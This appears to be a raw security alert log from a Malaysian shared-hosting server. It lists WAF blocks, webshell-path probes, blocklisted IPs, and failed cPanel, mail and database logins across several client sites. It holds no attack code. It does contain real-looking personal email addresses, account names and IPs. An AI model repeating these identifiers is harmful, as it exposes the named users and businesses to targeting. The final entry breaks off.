abuser: 196.0.10.222
country_id: 226074
description:
Jan 27 13:23:37 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.10.222 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.190.215.50
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=75651516002433 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.99.70.34
country_id: 3658394
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=27001516783287 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.183.3.233
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=82641515377202 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.167.132.98
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=47 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.160.137
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=32961515570632 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.180.11.57
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=77 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 175.107.228.21
country_id: 1168579
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=10091518079822 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.233.77.68
country_id: 3658394
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=20771515745061 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.220.177.100
country_id: 6290252
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=46351515983516 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.247.111.247
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=40821514530295 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 194.166.56.83
country_id: 2782113
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=45591531898096 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.169.26.240
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=82021516691258 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.224.5.20
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=82011532676752 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.151.118.221
country_id: 3996063
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=95261514886253 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.232.232.111
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=51 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.177.108.16
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=64&page=2 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.6.0.17
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=74&page=3 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.90.211.10
country_id: 1269750
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=30591532150592 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.79.41.226
country_id: 3895114
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=97931522745831 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.244.141.111
country_id: 1210997
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=58 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.44.30.199
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=32501518079664 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.94.227.65
country_id: 3437598
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=48061516937912 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 122.165.41.227
country_id: 1269750
description:
[2026-01-27 13:28:34 +0800] info [cpaneld] 122.165.41.227 - urbanmy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user urbanmy (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.190.31.37
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=41861515569513 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.91.85.118
country_id: 3437598
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=38131516939270 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.235.133.12
country_id: 2589581
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=14031515117438 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.190.91.206
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=27031516696051 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.186.54.65
country_id: 298795
description:
Jan 27 13:29:13 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.186.54.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.239.41.102
country_id: 3469034
description:
Jan 27 13:29:23 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.239.41.102 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 122.165.41.227
country_id: 1269750
description:
[2026-01-27 13:29:37 +0800] info [cpaneld] 122.165.41.227 - urbanmy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user urbanmy (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-27 13:29:51 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.71.121.195
country_id: 3469034
domain: www.mkmetal.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mkmetal.com.my/ferrous.html HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.116
country_id: 1269750
description:
Jan 27 13:29:54 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.223.41.90
country_id: 1835841
description:
Jan 27 13:30:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.223.41.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.186.54.65
country_id: 298795
description:
Jan 27 13:30:28 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.186.54.65 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/about-us/images/sliders/radiation.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.244
country_id: 1269750
description:
Jan 27 13:30:09 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.244 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.63.138.70
country_id: 3469034
description:
Jan 27 13:30:11 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.63.138.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.59.165.109
country_id: 690791
description:
Jan 27 13:30:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.59.165.109 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 165.165.109.114
country_id: 953987
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/jakub-onderka/php-console-highlighter HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.76.248.188
country_id: 3625428
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/jakub-onderka/php-console-highlighter/ HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.165.106.68
country_id: 1269750
description:
Jan 27 13:34:43 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.165.106.68 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 54.149.111.110
country_id: 6252001
domain: www.mssa.org.my
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.67||T:APACHE||RA:54.149.111.110||TA:54.149.111.110||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 13:36:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9679: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - mike.chong@urban.my [01/27/2026:05:38:11 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: mike.chong@urban.my


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 13:38:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:14654: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.108
country_id: 3175395
description:
Jan 27 13:42:22 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.108 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.151.151
country_id: 99237
description:
Jan 27 13:42:26 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.151.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.36.224
country_id: 2395170
description:
Jan 27 13:42:44 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.36.224 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.72.35.203
country_id: 1814991
description:
Jan 27 13:44:30 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.72.35.203 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 71.6.232.20
country_id: 6252001
description:
2026-01-27 13:47:04 815763 [Warning] Aborted connection 815763 to db: 'unconnected' user: 'unauthenticated' host: '71.6.232.20' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 13:48:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57541: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.182.176.167
country_id: 1562822
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/creative-service.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-01-27 13:50:54 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:35858: 535 Incorrect authentication data (set_id=no-reply@essemgroup.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.161.16.177
country_id: 4566966
description:
Jan 27 13:53:00 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.161.16.177 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.109.178.210
country_id: 1269750
description:
Jan 27 13:53:16 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.109.178.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.2
country_id: 3469034
description:
Jan 27 13:53:37 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.161.16.177
country_id: 4566966
description:
Jan 27 13:53:08 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.161.16.177 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.68
country_id: 3175395
description:
Jan 27 13:54:51 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.68 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.68
country_id: 3175395
description:
Jan 27 13:55:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.68 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 13:55:13 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.33.144.200
country_id: 2017370
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/uploads/2016/11/slide2.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.11.251.39
country_id: 3469034
description:
Jan 27 13:58:44 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.11.251.39 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.77.51.78
country_id: 3175395
description:
Jan 27 13:59:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.77.51.78 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.248.77.11
country_id: 1562822
domain: chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/chs.com.my/penstock-rollergate-stoplog.html HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 219.95.228.51
country_id: 1733045
description:
[2026-01-27 14:00:01 +0800] info [webmaild] 219.95.228.51 - support@u-net.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.60.254
country_id: 798544
description:
Jan 27 14:00:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.60.254 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.35.250
country_id: 953987
description:
Jan 27 14:00:44 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.35.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 14:01:50 H=([45.144.212.242]) [45.144.212.242]:52448 F=<no_reply@admin.com> rejected RCPT <aoto@aoto.com.my>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.61
country_id: 690791
description:
2026-01-27 14:02:05 H=([77.83.39.61]) [77.83.39.61]:58246 F=<oelho@projectbr.com> rejected RCPT <admin@agsaintifik.com.my>: SPF: 77.83.39.61 is not allowed to send mail from projectbr.com


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.142.113.50
country_id: 1733045
description:
[2026-01-27 14:02:12 +0800] info [webmaild] 175.142.113.50 - admin@evergrown.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 14:02:28 H=([45.144.212.242]) [45.144.212.242]:65535 F=<no_reply@admin.com> rejected RCPT <info@aire-fresh.com>: Sender verify failed


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 219.95.228.51
country_id: 1733045
description:
[2026-01-27 14:03:26 +0800] info [webmaild] 219.95.228.51 - info@u-net.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.61
country_id: 690791
description:
2026-01-27 14:03:44 H=([77.83.39.61]) [77.83.39.61]:55977 F=<oelho@projectbr.com> rejected RCPT <alex_santiago@ajplantations.com.my>: No Such User Here"


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 14:04:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9683: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/wp-content/themes/apm/images/cdn-cgi/l/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/wp-content/themes/apm||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 14:06:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:14669: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.214.138.12
country_id: 2510769
description:
Jan 27 14:06:34 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.214.138.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.214.138.12
country_id: 2510769
description:
Jan 27 14:07:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.214.138.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.141.14
country_id: 3608932
description:
Jan 27 14:07:11 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.141.14 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.56.49.100
country_id: 6251999
description:
2026-01-27 14:08:07 dovecot_plain authenticator failed for H=([10.1.18.49]) [212.56.49.100]:2362: 535 Incorrect authentication data (set_id=payment@tujusetia.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.61
country_id: 690791
description:
2026-01-27 14:10:04 H=([77.83.39.61]) [77.83.39.61]:53080 F=<oelho@projectbr.com> rejected RCPT <chewkc@ajplantations.com.my>: SPF: 77.83.39.61 is not allowed to send mail from projectbr.com


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 14:12:44 H=([45.144.212.242]) [45.144.212.242]:59097 F=<no_reply@admin.com> rejected RCPT <mustapa@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.168
country_id: 3865483
description:
Jan 27 14:13:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.168 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.206.98.125
country_id: 6290252
description:
Jan 27 14:13:52 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.206.98.125 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.95
country_id: 3175395
description:
Jan 27 14:13:58 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.95 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.95
country_id: 3175395
description:
Jan 27 14:14:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.95 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.206.98.125
country_id: 6290252
description:
Jan 27 14:14:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.206.98.125 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.61
country_id: 690791
description:
2026-01-27 14:14:38 H=([77.83.39.61]) [77.83.39.61]:60253 F=<oelho@projectbr.com> rejected RCPT <fadilah@pspoly.com.my>: SPF: 77.83.39.61 is not allowed to send mail from projectbr.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 14:16:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57576: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.61
country_id: 690791
description:
2026-01-27 14:16:17 H=([77.83.39.61]) [77.83.39.61]:49231 F=<oelho@projectbr.com> rejected RCPT <garylee@autogreastar.com.my>: SPF: 77.83.39.61 is not allowed to send mail from projectbr.com


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/img/photos/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.44
country_id: 690791
description:
2026-01-27 14:19:40 H=([45.144.212.44]) [45.144.212.44]:64160 F=<ftirado@atom-spain.com> rejected RCPT <francis@aire-fresh.com>: SPF: 45.144.212.44 is not allowed to send mail from atom-spain.com


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 14:21:52 H=([104.37.174.67]) [104.37.174.67]:54600 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <cklee@ktlog.com.my>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.75.222.25
country_id: 3077311
description:
Jan 27 14:24:29 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.75.222.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.86.18.50
country_id: 3469034
description:
Jan 27 14:24:49 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.86.18.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.86.18.50
country_id: 3469034
description:
Jan 27 14:25:03 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.86.18.50 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
